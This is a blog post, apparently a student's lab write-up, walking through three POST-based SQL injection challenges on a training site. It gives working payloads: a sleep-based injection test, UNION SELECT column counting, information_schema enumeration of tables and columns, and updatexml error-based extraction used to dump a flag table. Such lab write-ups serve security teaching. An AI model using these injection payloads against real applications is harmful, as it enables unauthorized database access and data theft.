POST注入

工具:Burpsuite

三关地址:

http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/

http://59.63.200.79:8812/New/PostBased/RankTwo/sql-two/

http://59.63.200.79:8812/New/PostBased/RankThree/sql-three/

post注入第一题:
先用Burp Suite开代理抓包,在密码后加’ or sleep(5) # 判断是否有注入:


实践证明被执行了,存在注入。
然后猜解字段数和注入点:将密码账号故意写错宕掉第一行输出:
uname=&passwd=zz’union select 1,2,3 #&submit=Submit 猜测是否有三个字段和输出:


显然没有三个字段
uname=&passwd=zz’union select 1,2 #&submit=Submit 猜测是否有2个字段和输出:


显然有两个字段和回显点:
然后就和SQL显错注入类似的做法:
获取当前库中所有表名:
‘union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#


所有表名:emails,referers,uagents,users,zkaq
然后获取zkaq表中的字段名:
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name =’zkaq’ #


获得表zkaq的字段名:flag,zKaQ
然后查表中内容flag:
‘ union select 1,group_concat(zKaQ) from zkaq #


获取到flag.

Post注入第二题:
第二题与第一题相似,只是前面语句的闭合部分由 ’(单引号)改为”) (双引号+括号)
其他步骤和第一题相似:


Post注入第三题:
一开始我抓包测试以为是单引号+括号的闭合,但后来发现,这样虽然可以闭合,但是没有任何显示,我就去社区看了下,结合老师上课讲的报错,又回来做了一遍:
Sleep(5)测试:


注入确实存在,sleep()函数被执行了
这个题的主要思想是没有回显点,使用报错来当回显点。
‘) or updatexml(1,concat(0x7e,(select database()),0x7e),1)# 可以查出当前数据库


因为报错只能输出一小段数据,所以我没要用limit m,n 来逐个输出我们需要的数据(表和字段),报错有一个好的地方就是我们不在需要将前面的密码账号宕掉了,所以“zkz”改不改都不会影响我们的输出点。
‘) or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1 ),0x7e),1)# 获取我们的表名


‘) or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’zkaq’ limit 0,1 ),0x7e),1)# 获取zkaq表的字段名


‘) or updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 3,1 ),0x7e),1)#
查出第四个flag:


但是试验了好多次,最后第18个flag才过关的。

posted @ 2019-10-13 15:22  求知鱼  阅读(1608)  评论(0编辑  收藏  举报